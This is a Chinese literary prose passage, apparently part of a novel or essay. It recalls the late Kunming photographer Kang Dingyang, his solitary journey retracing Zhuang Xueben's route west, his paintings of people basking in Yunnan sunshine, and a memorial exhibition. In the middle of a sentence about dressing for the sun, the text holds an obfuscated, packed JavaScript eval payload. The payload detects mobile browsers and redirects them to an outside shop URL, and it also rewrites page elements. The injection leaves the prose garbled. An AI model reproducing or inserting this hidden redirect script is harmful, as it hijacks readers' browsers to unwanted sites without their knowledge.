起初,他们并不熟。康定杨是个结巴,文字表达能力也不是很好。陆均松那时是个急性,。总觉得老康说话费劲,所以总忍不住在他说到上半句时,就抢着说出来下半句。奇怪,大多数时候,他的下半句都能百分百还原康定杨的意思。 刚上班那会儿,新闻路挺繁华。有新华书店,有生意很好的米线店、卤味店,离春城最热闹的菜市场,纂新菜市场也很近。 陆均松与康定杨,是在一个紫藤花架底下相熟的。这是一群老头下棋的地方。回想起来,那个年代的人,做人做事的办法有份特别的雅致。陆均松留意那几个小亭子的原因,一是夏天这里的紫藤开得很好,远望一片紫烟,棋盘在紫藤花走廊下面,风吹不着,雨淋不着,人总是有不少。二是那些老头儿虽衣着很朴素,下棋倒还讲究,很守棋风。石头棋盘两侧的石柱上不知何时起刻上了对联,“盘中落子有千虑,棋坊戏言莫认真”“既以动子观棋间乐,焉能恶言毒语伤人”,很老派的滇式优雅。 下班后,陆均松过去看他们下棋,发现老康也在其中。他那时候年轻,说剑眉星目也不过分,很难不被注意。两人因为看老人下棋熟络起来。后来,这块紫藤长廊因市区的公园改造计划,有一段长久的加固重整期。老人家改去别地,临走前,给两个时常观棋不语的年轻人留了一盘老云子。陆均松用白棋,康定杨用黑棋。黑棋在日光下透光,像老康,被晒得越来越黑的皮肤。 棋一下,就是许多年。 两人也有过短暂的嫌隙。老康长得好看,不缺人喜欢。那会儿报社有一个姑娘对他有意思,而老陆对姑娘也有意思。后来老康跑出去做《西行记》这个长期项目,一年到头不回来。姑娘有了别的对象了,但也不是老陆。于是,两人又走得近了。 “不得不说,老康那时候长得是真的好看。”老延插入一句回忆。 “是很好看”,陆均松从身后一个文件夹里,掏出来一张塑封好的照片。 那是二十多年前的康定杨,背靠一辆老式的28自行车,头发乱糟糟的,皮肤黝黑,咧嘴一笑,牙特别白。他背着一副相机,身上有扑面而来的蓬勃气质,是昂扬的,对未来充满希望的,为喜爱的事情肆意奔波的那种蓬勃。他有那个时代的人鲜明的气质,像老一辈地质勘探员、老一代考古学者那样,朴素简单,干净整洁,眼神里似乎总有要去的远方,匀称的身躯里装着许多年后的陌生人也能识别出来的好灵魂。隔着二十多年,二更和姜籽看到这张照片,依然能感受到“人在路上吹着风”的奇妙氛围,这风,似乎永远不会萧条。 “他成天跑,总是抓不到他。他死皮赖脸地和我约好,只有他回来,老前辈留下的那套云子才能用。但他不要脸,十天半个月不回来一次,搞得我像个绝望的小寡妇。看到那盘棋子就生气。”老陆的语气里,有一些轻柔的抱怨。 老康要跑,愿意跑,喜欢跑。那些年,昆都早报在纸媒时代还和风光。到了过年过年或者大专题的时候,能到20个版面。摄影记者是一份还不错的工作。他入职后第一年,副刊部要做一个长期的西南文化专题。这是真正让康定杨走上如风人生的转折点:纪念人类学摄影师庄学本的一次大型实地回溯采访。 1934年至1941年,青年学生庄学本远离家乡上海,在国家动荡飘摇的时期,独自在中国西南边陲游走。漫漫西行,历尽千辛万苦,他拍摄了上万幅西部少数民族的照片,留下了近百万字的考察资料。□□期间,这些影像与文字资料损失过半。庄学本的一生,生不逢时。1984年,他在上海家中去世,悼词上的“著名摄影家”字眼曾被要求删改。直到20世纪末,他被摄影界、人类学界重新发掘,被迟到地冠以“中国影像人类学先驱”等头衔。 在此契机下,昆都早报与川西晚报联合筹划了一次“重走庄学本西行之路”的回溯活动,参与的主力是两家报社的摄影新生力量。他们需要重访,也要重新发现庄学本漫游过的中国西南地区,并用新生代的眼睛记录下六十余年后的发展与变化。 从1998年开始,老康与川西晚报的一位摄影师开启了旅途。他们计划用6-8年时间完成庄学本走过的路。那时,西南地区已有不少大巴路线、地州级别的机场,在新的基础建设的支持下,老康他们设计了一版新的交通线路,既能覆盖庄学本曾涉足的地点,又能展现西南地区基础建设方面翻天覆地的新貌。但不巧,两年后,另一位摄影师因病告退,项目只有老康一人继续。他一直孤身行走到2004年,超负荷地提前完成了预定计划。 2004年,《西行记》进行了一次隆重的专题刊发,引发不俗反响。此后两年间,老康又对新旧发展对比强烈的个别地区进行了深入的专题报道。2006年,所有专题内容连同增补系列,以图书形式正式出版。 那几年,台湾漫画家蔡志忠、吉米气势汹汹地进军内地市场。老康赶上了漫画文化流行的时代,他赶上这波潮流的方式很特别-- 一位比利时漫画家来中国交流,得知了他的重访故事,于是借助新旧两代西行者的摄影资料,他创作了一个中国两代摄影家的西游对照记。漫画在欧洲获了奖,老康也曾在2010年受邀去比利时,参与了若干文化与摄影交流活动。老康的样貌,中国人喜欢,欧洲人也喜欢,他那张穿着中山装与漫画家一起领奖的照片,登上了外刊,也在报社挂了很久。谁来了,都要驻足欣赏一番。 “老康年轻的时候,活得自由且风光,”老延总结道。 “但这不是他想追求的,老康想要的,是活得自在和舒服”,陆均松说,“所谓风光,应该更多是他一路见过的风光吧。年轻时候,是他最自由的时光,身体好,有力气,有梦想。虽然路上孤独,但创造过,也寻找过。很值了。” 2000年之后的西行一路,只有老康一个人。也有一点例外。他有个朋友,是自己造的。他管他叫“小杨”。小杨会陪老康说话,陪他远行。在渡水时,他会张开手,拉着小杨一起,像水獭拉着手在水面漂流。 第一次,当陆均松听到康定杨这一路会和想象中的人对话时,还是觉得这多少有点瘆人了。他怕老康太孤独了,和他认真地讨论,要不要停一下,回归更常规的工作。老康说不,咧嘴一笑时,陆均松发现他又黑了一度,牙更白了。 “也罢,那是他选择的人生。”陆均松叹息。 “单身复叶”,姜籽小声地嘟囔,被大家听到了。于是她抬起头,认真地对大家解释:像柚子叶这样的植物,叶片由大小两片叶子组成,这叫“单身复叶”。姜籽也没想过有一天,她会因为一个人,想到这个描述叶子的词。“老康和它的另一片叶子小杨,就像是单身复叶。这在人类世界或许有点奇特,但在植物世界里,也算正常。”姜籽说。 老陆带着些惊讶,也带着一份迟到的恍然大悟似的,看着姜籽微笑。姜籽是做了功课来的,手里拿着一本老康的摄影集。“你拿的那本书里,还有很多他的,‘孩子’。”陆均松忍不住笑了一下。“对,孩子。” “他不是单身吗?”姜籽一脸疑惑。 “别想歪。”老陆解释道,“他出版这本书的时候说过,里面很多地名都很有趣。他会想象,每一个地方都是一个小孩儿,带着他在城里、镇子里跑。” 康定杨去过很多地方,下了飞机,下了大巴车,把托运的自行车带下来,骑着向前,一路上两、三天都遇不上一个人。那时候没有手机导航,怕走错路,所以格外地要在意地名、路名。日子久了,为了逗趣解闷,老康会想,如果这些地名拟人,会是什么样的人呢?他眼前浮现不是花前月下的鬼心思,全都是小孩儿的脸。对啊,拟成孩子,想象这些地名都是可爱的小孩儿,可以抢了抱了放在自行车后座,跟着他一路走下去,这样,他就不会孤单了。 “那时候,我还在用BB机呢,”老陆从身后袋子里掏啊掏,掏出来一本薄一点的小册子。“这正式出版之前,他自己试印的简装版,老康自留的。上面还有他的笔记。我说的孩子,就在上面。” 姜籽接过,轻翻,翻到怒江边上的单元,内容涉及独龙族、怒族等少数民族的居住地,有不少诸如丙中洛、石月亮、老窝山等有趣的地名。康定杨在个别地名的相关页上,用铅笔做了笔记。 知洛:小名叫络络。喜欢穿长裙,材质布或者纱。 古当:生活在一座小山上,上面慢慢都是树,夏秋是深绿色的,春天羞答答的新绿。好古物,行事坦荡,不怎么喜欢人这种动物,相比之下更喜欢古松。 古泉:古当是个女孩,古泉是个男孩。搞道教研究。 瓦娃:小孩,四五岁左右,最喜欢屋顶上的瓦当。和中国古代传统建筑上为了避雷和避火联排的九十个小神兽是很好的朋友,它最喜欢的是狻猊。 知子罗:他是个和植物作伴的干净的十几岁男孩,像一朵形状开得很好的栀子花。他的颜色是白和绿。知子罗现在应该在等孤山的荷花开吧,或者是栀子。 白汉洛:应该是穿着厚衣服在边疆游荡的一个孩子,保护那些濒危动物,为了世界的正义! 字迹并不多,信手几笔,孤独漫步之中的疗愈式的遐想,鲜活而可爱。 “我能理解这种做法”,陆均松回忆道,“我们刚入职的时候做搭档,也做过一些云南文化的专题。有时,我们会去一些地州上少数民族的村子,村里的小孩子都可爱,也会好奇我们扛着、背着的大块头是什么。他们就一路跟着我们。我们这些外来的人,一下子觉得亲切,和这个村子在心理上熟络起来了。我有过这样的经历,当他说起这种听起来很奇怪的想法时,我能理解。毕竟那趟旅程很漫长。一路上到底多难,又多少无法和他人倾诉的寂寥,他人无法想象。除了他,我没想过身边还有会其他人,能把这件事坚持下来。” 《西行记》项目正式开启那年,老康的祖父刚去世。他是怀着一部分怀念故人的心态上路的。人在想要忘记一些忧伤的时候,总是更肯吃苦,更不怕难。 祖父对康定杨很好。过去祖父曾有一个挚友,叫胡杨。康定杨的左手手心有一颗痣,手腕处一颗,小臂中端又有一颗。这和过去老战友的身上的痣,竟然一样。祖父只说过一次,但谁都看得出来,他当真了。老康是祖父三儿子的第三个孩子,是家族里最小的男孩。他母亲快40岁时才生下他。祖父对他很严厉,着意从小训练他艰苦独立的意识,有时未免过了头。两代大人为了这个事产生过分歧,儿媳和老爷子的关系并不是很好。但也因为爷爷的培养,康定杨成了一个体魄健壮、意志精神坚定的小伙子。 祖父曾于中央陆军军官学校毕业,上世纪30、40年代,祖父在云南陆军讲武学校做教官。云南办空军学校时,其核心校区、军事训练和理论课教学的地点也在讲武堂。祖父作为讲武学校的教官,兼任了航空学校的教官。当年这个学校很特别,它招收女子学员,很多毕业生都参与过滇西战役。千禧年后,报社要做一期讲武堂历史的几年专题。那时,大家才发现老康的爷爷竟然如此闪耀。那时老人家已去世,报社依然拜访了家人,了解到老人晚年的一些生活。祖父老了,不住干部疗养院,因为认床。从年轻到年老,他只睡那种0.9米宽不到的很窄的小床。现在都不太好找这种成人床了,只有小婴儿才睡这么窄的。她女儿说,这是他年轻时候做学生、当教官在军校宿舍里睡过的床,就这么窄。只能在这么窄的床上,他才能睡得安稳。也不是没有给他换过,但不管用,老头整夜睡不着。这个习惯一生之中几乎没有变过,只有婚后,睡在大床上,他扔自己蜷缩睡在床的最边上,往中间靠都不行。后来老伴患病,走的早,他索性换回小床,一直到去世。 受爷爷的影响,老康也有很多奇怪的习惯。 他的日常生活一个有明确的作息时间表,甚至可以说,是一份绝对的时间表,就像有人拥有绝对音感,康定杨对时间的把握也是近乎天赋般的精准。他六点半就起床,从穿衣到整理床务只用10分钟。他的中午从11点40左右到下午的1点之间,有一段很整齐的午休时间,一分钟也不会多或者少。这是爷爷从小训练的结果。 他能够独自完成长达八年的野外摄影工作,不是没有缘由。他从小生活在一个有信仰、有原则的人身边,康定杨有强大的自律能力、很严格的生活节奏。他在西南的少数民族县城里、村子里,无论是好一点的招待所,还是随便找的能凑合一夜的地方,都基本保持了规律的作息。 他一直有从军梦,可惜小时候有一只眼受了伤,裸眼视力受损,没有办法入伍。他做摄影记者的本意,是想做个战地记者,或者想办法往军报之类的地方靠。但老□□在了和平岁月,环境变了,老康和祖父不一样。祖父不怒自威,满脸萧飒之气,对世界是审视的,是要战斗之前蔑视一切的气度。但老康不是,他始终和这个世界保持了一段距离,始终有一个自己的一个太平小世界。心神周正,很温和,骨相坚毅,又清澈。他是和平年代的赤子之心,活得自由洒脱。 走过了那么多的路,见识了不同的民族风情,脚步丈量西南大地,老康被这片土地的沃野滋养,被它的博大与包容感染。他晒过的所有的太阳,都晒到了他的骨头里。他经过的每一片原野,每一条河流,每一座雪山,都开阔了他的心胸。康定杨是个早慧的孩子,早些年间,因为母亲和姥爷之间紧张的关系,他幼小的心灵感知到了一种紧张。他习惯了沉默不语,把很多事情闷在心里。在成长的过程中,这种紧张始终难以被缓解。自从姥爷去世,独自西行开始,童年时期埋下种子、青少年时期不断加重的郁结,在漫长的路途中逐渐地被稀释了。最终,像高原盐湖的盐,在最纯净的地方析出,留下一池澄澈的湖水,倒映着他遇过的所有蓝天。 “人越老,越像一块圆满的、酥酥的、冒着点心香的桃酥。”陆均松说,“但是,中年之后,老康的身体情况不是很好了”。陆均松的眼睛隔了一段距离,注视着这些小字,看不清内容,但看得很入神。 在四十岁之后,老杨主要做办公室工作,职务高了,工作也清闲了。有一年,他约老陆喝酒,说有一个画家组织了一个叫做“丝绸之路”的重访活动,想约他参与,计划涉及山西、甘肃、青海、新疆等地,多人联动,来一次以“丝绸之路”为主题的创新艺术创作。他动心了,但那时候,身体情况已经不允许他再折腾了。老陆只得陪他默默地喝了两罐啤酒。不约而同地,两人又想起了那壶蓝桉树下的杨梅酒,这次,老陆陪他送别的不是别人,是年轻时候自由如风的那个康定杨。 在那之后,老康回归了人间。一个如风的独狼,笨拙地开始学习生活。他去菜市场买菜,在小楼里做饭,他抱怨楼上老人总是用拐杖戳地造出来噪音让他无法入眠。甚至,他开始恋爱了。 老康喜欢上了一个姑娘。入了凡俗,老康时不时地邀请姑娘出去走走。对方是一个美术老师,犹豫再三,还是没有答应,选择了另一个做生意的老板。 这事之后,康定杨为了排解苦闷,开始画画了。最初几张画,画的是悲伤的故事,但渐渐地,笔尖落下的全是温暖的小记。 但这也有不好的方面。陆均松发现,康定杨开始画画之后,又忍不住四处游荡了。他开始频繁地在近郊写生。风,又重返了他的人生,吹起来,越吹越远。老陆常好几天找不到他。他给老康换了新的智能手机,但老康仍不怎么回复,权当诺基亚板砖来用。他自己住,两三天联系不到,老陆就有点着急,非要跑到他家里看看。就这样过了一年,陆均松做主,把老康拽到了他们小区,做了不算远的邻居,这才算是把这个又做回独狼的中年人盯住了。 康定杨选了一个高层,东南方向最顶层的房子,太阳能从早上9点晒到晚上6点。他像个要酿造酱油的老黄豆似的,心心念念地要太阳,又像个午夜12点之前必须赶回家的灰姑娘,无论外出多远,必须赶在太阳落山之前回家。晒太阳时,陪伴自己的影子就是小杨。 影子如残烛一般时,他知道,自己的时候不多了,早早告知了陆均松。 老陆相信他的说法。康定杨是一个大半生追着太阳跑的人。他年轻的时候,跑得很远,跑得很快。年纪大了,也会力所能及地多晒。甚至在人生最后的阶段,坐着轮椅的时候,他也会尽力地按下前进按钮,来来回回,追着日光跑。 老康晒着太阳走了,而陆均松,要承受夕阳彻底落下山后袭来的夜幕。 02 看吧,就说他有秘密! “请你们来,也希望你们可以帮忙”,陆均松的目光诚恳地注视着两位年轻的女士。他又掏出来一本很厚的画册。陆均松的袋子里,老康的东西似乎掏不完。“这个册子不算是正式版本,也没有出版过。我想先在石房子里做一场展览,把老康的小画,放给大家看”。 康定杨不是没有办过画展。几年前,聚焦西南少数民族的山野之间日常生活的《西南山民速写集》《旧寨新象》等曾一起在云南省美术馆展出。其中以云贵地区刺绣为主题的系列画作收获了很多人的喜爱。那是一个中年男人视角下的西南刺绣艺术,落点不在于刺绣的技法,而是着眼与刺绣相关的男人们的日常。引发热议最多的是一个刺绣单肩背包,出自一位贵州新一代绣郎之手。这幅画中,绣郎正在制作的背包,从某一个略显倾斜的角度去观看,有两只圆圆的眼睛,长长的流苏摆成了一个爱心形状,整个背包像一个做错了事的小精灵,在逗手指卖萌。靠这种奇妙的错位引发关注并非老康的本意,但这件事启发了他去发掘更多生活的异趣,转向现实生活中的你我他,画一些更随性的、感性的的小画。 最初,只是一些速写式的小幅漫画,随便画在购物小票、或随便抓来的哪张纸的背面。对他来说,这绝不是什么以后要出版的刻意的创作,而是逗趣自己的日记。后来画得多了,自然而然,他开始运用更多的技法。摄影师对于构图与线条、色块、图形的敏感,让他毫不费劲地找到了用笔的感觉。进入成熟时期,他对色彩的运用,似乎糅合着他一路西行时看过的所有好风景。画面中有一种温润的慈悲,每一个普通人都有了独特的光晕。正如现实里,春城落日时分,大街上每一个人被落日的余晖照出了一种小动物一样的绒毛感,在这一刻看起来,所有人都是可爱的。老康用画笔,创造性地复现了这样的瞬间。 翻开册子,真实、生动、充满呼吸感的画面从纸面上鲜活了起来。二更翻看着这些小画,彷佛在读一篇写给春城日光的情书。 春城的娃娃们从小不惧太阳,双腿用力蹬着儿童车向着更明亮的远方挪动,把小脸晒得通红。 公园僻静处的宽长石凳上,有人在冬日暖阳下睡午觉。脱掉鞋,露脚掌,盖上头,尽最大舒适度地把自己揉进阳光里。女性自然而优雅的腰腿臀线条在日光下大方晒着,像音色丰满的大提琴。 老社区的街边,坐在轮椅上的老人已至暮年,知觉迟钝,仍会每天被晚辈推到老社区的院子里,和太阳打个照面。老人的银发在太阳下闪着她未觉察的光柔光,脸也在日光下像是被磨了皮,恍惚间,摊平了岁月的风霜。他身后,邻居们晒在院子里的各色床单,时不时□□爽的风吹鼓,在阳光里透着亮。 滇池周边僻静湿地里,在一处人少的露天观鸥台,一对中年夫妻支开两椅,背包往结实的树枝上一挂,衣帽严实地躺着享受日光浴,两人之间还趴着一只毛发晒出金尖的乖巧柴犬。为了防晒,蒙着面,一家三口,只能看到小狗的脸。他在日光下,裂开嘴巴对着她笑。 海洪湿地公园,半是树荫半是光点的幽静空地上,小情侣依偎着彼此说笑。男孩不仅带了露营桌椅、地垫,还像哆啦A梦一样,收拾出一套手磨咖啡工具、放着爵士乐的小音箱。 二更一边翻看这些揉进了日光的画,一边回想起一个寻常的冬日午后,她在昆明的太阳底下,望着自在地晒太阳的老老少少,内心涌起一种冲动,包含着对于美好从容生活的敬畏、对于鲜活的生命力的崇拜。在大太阳底下,她有一瞬间想哭。这很矫情,但她确实被深深触动了。 昆明这座城市有种扣人心悬的特质:善良,平和,包容,不张扬,但极致温柔。正常的年份,昆明总是有太阳的,一年365天,300天是蓝天白云和直白的大太阳。气温适宜,不会太冷或者太热。这意味着在这样一个城市里,无论是从事户外运动的爱好者、从事户外劳动的体力工作者,还是上下班要奔波的通勤族,在工作途中和休闲时光,都能够享受到明媚的日光与纯净的空气,并与这番天地之下肆意舒展的花花草草、猫猫狗狗开心作伴。 这是大自然的恩赐,对谁都是平等的,男女老少,谁都不会因为世俗的身份被冷落。太阳很慈悲,哪里都能晒,大家各自找地方,没什么可争的,哪里都很好。太阳在云南不制造分离,它创造休息与共,和合共生。你的舒适伴随着我的平和,我们不熟知,但并不尴尬,彼此懂得,共享温暖。 而且,这里日落很晚,一天得以在视觉和体感上被拉长。三点半出门,慢悠悠抵达滇池边的湿地,落日七点四十甚至快到八点才舍得下山,一切都来得及,人们可以游刃有余地等待赤红尽染海天一色,再慢慢退却成柔和的粉,再半小时,变成透亮的蓝。即便是深夜了,白色的云朵依然是煞白地悬浮在湛蓝的夜空里。美好的事物,在昆明都很心软,绝不会彻底地冷脸退场。 一旦领悟到这一点,她就很难再忽略昆明这种极致的、内敛的、绝对的温柔。靠近这种温柔最简单直接的方式,就是亲近太阳,像赤子一样。 康定杨那句“在别处,晒不到这样的太阳”,是真的。云南的太阳比拉萨更高的海拔的日晒稍柔和,比大多数低海拔地区的太阳更热烈。人们过日子,需要学会和太阳打交道。比如,把衣服分成两种,一种衣服,是有太阳时穿的,因为日光普照,人不会冷。这种穿法要和太阳有商有量,能脱能套。太阳出来大赦天下时,开衫和外套先放一边。晒太阳,晒得热乎乎,晒得像泡脚,晒得很满足,是有一些注意事项的。晒得油滋滋,刚好盖过一些微寒,就挺好。太阳走了温度骤降,人也能立马把自己裹起来,免得受凉生病。另外还得考虑,七点多太阳下山,天冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294806|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来如何保暖,如果没有穿足外衣,最好赶在彻底冷下来之前赶回家。另一种衣服,是没太阳时穿的,不必放任何心眼,直接穿瓷实了就好,什么都往厚实了打算。因为阴天尤其是雨天,高原的阴冷是实打实钻进骨头里的,没有任何回还的余地。 云南的日子也可以分成两类,有太阳,和没太阳的。太阳出来,就享受人生盘起腿,背朝太阳,找了一个安静干净的绿地,冬日里把自己晒成一条酥软的小黄鱼。太阳不出来,那就修习耐心,在云开雾散里读一读人生。世界上的人,也可以分成两类。一类是晒过云南太阳的人,她们知晓富足;另一类是还没有晒过的,她们幸运,因为人生无论遇到什么起伏,只要晒晒云南的太阳,被普度众生的神日光抚顶,任何事情都会过去。总之,太阳主导的大地上,人要学会灵活周转。 除了日光,康定杨的小画中,还有另一种气质:滇式的奇怪。那或许是一些“所有人都不明白那个人在干什么,而老康似乎差不多能懂”的瞬间。 一个人穿着老实蓝色粗布褂子上的人。独自在铁轨上慢慢走。为了保持平衡,一只手臂会轻轻地扬起来,左右摆动,像翅膀。 一个小孩子,把掉下来的树枝插在背后,像古代书生上京赶考时背着的书箱。 骑着自行车冲下一个斜坡的中年男人,把腿撑开架在空中,他头秃了,也啤酒肚,但选择在那个斜坡上,变回少年,旧了的格子衬衫在屁股后面飘着。 深夜街上醉酒摇晃但不放纵的人,抱着一棵树,在说话。 美容院外,放在樱花树下的一尊大卫雕像,不知被谁涂了浓浓的咖啡色嘴唇。 老人家的老窗台上,挂一只七色风车。人动不了,风车可以动。风车能转,人就有生命的律动。日光下的七色风车,像能帮人实现愿望的七色花。 一盆水仙,被主人专门带下楼来晒太阳。 一个小男孩背对着太阳,掰着大白馒头,体贴地把馒头投到那只因动作慢抢不到食的海鸥身边,教它“大口吃饭”。 一张叫做《悬浮》的小画里,白衣少年在午睡。他在一家茶馆门口,坐在一只三根腿的椅子上,短了一半的那只脚,刚好卡在水泥花坛上。花坛里的蓝雪花似乎有弧度,无限靠近悬浮的少年的梦境,想在梦里洒出一虹青蓝。 还有一张,叫做《蝴蝶》。白色蝴蝶在树叶之间。但如果仔细看,那其实是躺在草坪里不知谁的双脚,一双白袜子,忽闪忽闪摇摇晃晃,远远看去似乎真的像扇动翅膀的蝴蝶。 另外两三张,叫做《全乎》。路人带着小狗散步,小狗都是三只腿。但小狗不在意,三只腿也可以蹦跶。主人也不介意,并没有刻意等待或者可怜。爱和包容,可以让有缺角的事物完整,从内而外地完整。 不知不觉,画册已翻到一半,没有一张自画像,没有任何能透露老康在场的讯息。看来,康定杨不喜欢画自己,他更偏爱把自己妥善地隐藏起来,藏在一些美好时刻的幕后。二更想到一位插画师,桑贝。他漫步在巴黎街头,画了很多自由自在的人。然而康定杨和桑贝又是不同的。康定杨的小画是全然的中式韵味,里面的人,线条简略流畅,像瘦金体,清风明月一般干净利落。 姜籽接过画册,继续翻另一半。 康定杨的小画,大多数都统合在《日光》《江边》《落日》《晒暖》这类集合里,一般以时间为轴,自然地归总。每一个词组都是平行的,都是在太阳下好好生活着的人们。 剩下大约三分之一篇幅,全部属于一个篇章,名字是《盘龙江边》,画的是在昆明母亲河,盘龙江边冬日晒太阳的人们。有独乐乐,也有众乐乐。无论男女老小,人们的样子都有点撒娇的意味--对着45.7亿年高龄的太阳撒娇,银发老人也可以像小时候那样,趴在床上,动动脚踝,让身体铺展开,被太阳安抚。 单人画里,一个人坐在太阳底下一块草坪上,不会被打扰,如果旁边有人来,他会默契地选择在一定的社交距离之外,大家各干各事,谁也不会孤单。群像画里,人们姿态各异,但面朝的方向总是相似的,多数人都在晒背。有趴着亲吻的大地的,有蜷曲着身体状如婴儿的,也有四肢张开如“大”字的。也有一些人铺开了床单和野餐垫,三五个人一起侧睡,远远看去,像几只放得很整齐的水饺。旁边波光闪耀,水快烧开,就可以下饺子了。也有一些人,会一边打伞一边晒暖,桃红色、明黄色、淡紫色的伞,在草地上撑开,像斑斓的蘑菇,不生在潮湿里落叶间,大大方方地见天日。 一组连环画中,白发大爷躺着睡觉,旁边阿姨穿着红裙子,背着光,一边晒背,一边看书。想喝茶了,阿姨站起身来,踢一踢大爷的小腿。这似乎是一种独特的打招呼的方式。两人开始坐起身,围着一只小桌子,泡茶,吃橘子。橘子瓣被日光照得亮亮的,水分充足,咬下去,水分爆汁,在空气中制造出转瞬即逝的橘子喷泉,落入两杯冒着热气的普洱茶中。 吊床总是成堆出现的。孩子们似乎更有在吊床上荡漾着寻找平衡的天赋,这种平衡被日光照耀着,更温和了,更安全了。大人们往往爬上吊床就不动弹了,垂下两条放松的长腿,姿态像小动物睡舒服了之后的样子,对天地有丝毫不怕的放松。 也有帐篷。有时帐篷外面会挂一只氢气球,飘飘荡荡,在半空中跳舞。大概一是为了好玩,二是为了更好地被认出,以免孩子找错地方。绿草坪上飘荡着充气的奥特曼、皮卡丘、哪吒和阳光彩虹小白马。 冬日暖阳下,一切休闲活动,都可以在江边实践,核心法则就是做点喜欢的事,或者,无所事事。 姜籽看懂了,她从手机翻出一个相册。她和康定杨画过盘龙江边同一片草地上晒太阳的人们。挺拔的蓝桉,碧绿的草坪,蓝湛的天,水光与日光的波动,都十分相似。不过,康定杨关注人,关注人自由自在的姿态。康定杨的画中,人是主角,简洁流畅的线条勾勒出人们的安定与祥和。姜籽画树、画水,她画自然脱落的树干上留下的天然的图案,远远看去,像一只鹦鹉正在转着头洗翅膀,她画小情侣坐在一棵被风吹动的巨大泡桐树下,一朵落花轻轻落在了虚化的人的头顶上。姜籽的画里,更引起人共鸣的是对灵动色彩的捕捉,人物反而成了植物与河流的衬景。 这次,换老延与陆均松靠在一起,翻开姜籽的相册了。老延越看神色越兴奋。老陆则时不时拿出老康的某张小画作对比。半晌,老延下了一个十分笃定的决定,问姜籽与二更,“老康的画册,能不能请你们俩一起来编辑?” 陆均松亦投来恳切的目光,“拜托了,自从老康病情到最后一个阶段,我就找老延商量这件事了。老延那时就说,有了合适的人选。” “我们只是在等你们合适的时间,”老延接话,“但今天,我更加放心了。” 算起来,老延与陆均松等了有小半年了。二更不敢怠慢,她整理了刚才翻涌的种种思绪,询问说,“名字就做《日光下的隐士》,如何?” “隐士?”,陆均松细细琢磨。 “是。穿梭在画中的隐士。他没有留下一幅自画像,但他无处不在,他隐身在每一个美好的瞬间里。”二更说。 陆均松像是吃到了什么解药一般,刚才一直前倾的身体松垮下来,仿佛事情有了着落。“原来,是‘日光下的隐士’啊。我懂了。” 老康离开的前一天,亲友们围在他身边,他忽然说,“我可能上辈子是一个被太阳照耀过的灯笼。被晒化了的感觉真的很好。我就快化了。” 老康走了,老陆像给他办画展,但如何定题,他一直很为难。他不能告诉人们,“老康他,是个灯笼”。老陆的妻子是一位心理咨询师,她提起心理学中“自我实现者”这个概念。这是一种很健康的人性。他们都可以离群索居,不会因此受伤,也不会感到不适。他们比一般人更喜欢独处。可以一个人远行,去没有信号的地方。他们往往能超脱于红尘俗世之外,不受那些在别人身上引起混乱的事物影响。他们始终保持新鲜感和天真,像孩子一样富有创造性的看待整个世界。平凡生活中的琐碎事物也会让他们激动,兴奋和着迷。老陆觉得这份描述十分精准,但却并不适合来为一场画展定性。 老陆曾经考虑过,用“风”来解释老康和他的画作。他觉得,老康是像风一样的人,只不过年轻时候像是来无影去无踪的风,是昆明春天刮的风,冲动热情,有些吹脸。四五十岁之后,他像是昆明夏夜的风,柔和清爽,是别处夏天绝对无法体会到的有人间关怀的风。但风,与这些小画,又总有那么一段他把握不好的距离。 现在,二更说,老康像是日光下的隐士,陆均松有恍然大悟的感受。 老康这个人,他一直很喜欢,却始终看不懂。陆均松和康定杨是挚友,但他和康定杨完全不同。老陆年轻的时候就很好奇,老康这种人是怎么活着的?尤其是在老康独自西行的那些年,他究竟是如何实现这一切的呢?没有手机,可能要十几二十几天才能到下一个地方。这些天他在路上都要想些什么呢?在山野里,可能很多天面对没有人烟气。他到底在想什么呢?这些问题,作为一个奇妙的疑问,放在他心里很多年。 人到中年,老陆经历了转行,开公司,做生意,搞项目的,时不时需要和商人、政府人员等各类人周旋,不想学,也要学着和人打交道,和不同心思的人在一个桌子觥筹交错。他觉得自己学会了很多看穿人心的法子,不管谁的心思,掂量几下就能知晓个七七八八。但他始终看不懂老康的心思。因为老康太干净了,对世界无所求,对任何人都没有什么功利性的目的。他始终自己过,没有人知道他全部的人生,所以没有人可以彻底全面地评价他。他活在他自己的风中,风是其他凡人把握不住的。 前年,他替老康去办了件事。老康祖父的好友,葬在西南小城的墓地。老康过去每年会买一瓶最贵的醋,代爷爷去祭拜。身体抱恙后,老康去不了,请陆均松去。墓园的守墓人,和他聊起老康,说老康年轻时候来这里,总喜欢在墓园边的一棵树上睡几天。 看吧,就说他,一定有秘密。 但如果老康是个“隐士”,那一切就说得通了。 这个说法,给了老陆一种开脱的借口:“我的朋友是个隐士,爱晒太阳,画了一些小画。一个云南人,热爱晒太阳的云南人,死在冬日的高原阳光下,而不是什么雨季的连绵阴雨里,他会幸福的。相信我。可他毕竟是个隐士,我能告诉大家的,也就如此了。再多的,我也很难全面地把握。这是我们对于隐士的尊重。” -- 一个月后,以“日光下的隐士”为题,康定杨的画作展览开幕了。 在康定杨的画作之外,石房子展厅的不起眼处,还安放着两幅画。按照陆均松的说法,画展开幕,不需要有任何的花篮,但需要有一些“礼物”。 一份礼物,是陆均松送给老康的。 那盘再也没有人陪他下的云子,被做成了一副画。只看形状的话,彷佛是风中的一棵树。这幅画放在一扇窗户下的案几上,一日之中大多数时间,都迎着光。仔细看,每一颗黑子的边缘会透出一圈碧绿的光环。 另一份礼物,是二更与姜籽联合老延一起赠送的。 “银桦是一种可以自我授粉的植物。它会产生比较高的雄蕊和较低的雌蕊,让花粉自然落在柱头上,这种特殊的构造可可以实现自花授粉。”姜籽对陆均松回忆中提及的银桦树很是留心。 为了优生,植物更倾向于在不同的花朵之间联姻。因为不同花朵花期有差异,花粉传播的时间就会更长。很多植物的花都很艳丽,用醒目的色块或者线条吸引昆虫的注意,甚至会以宽阔的花瓣,为昆虫留出“停机坪”。银桦不一样,它没有为此做什么努力。依靠自花授粉,他依然可以长得高大。这就是它的本性。 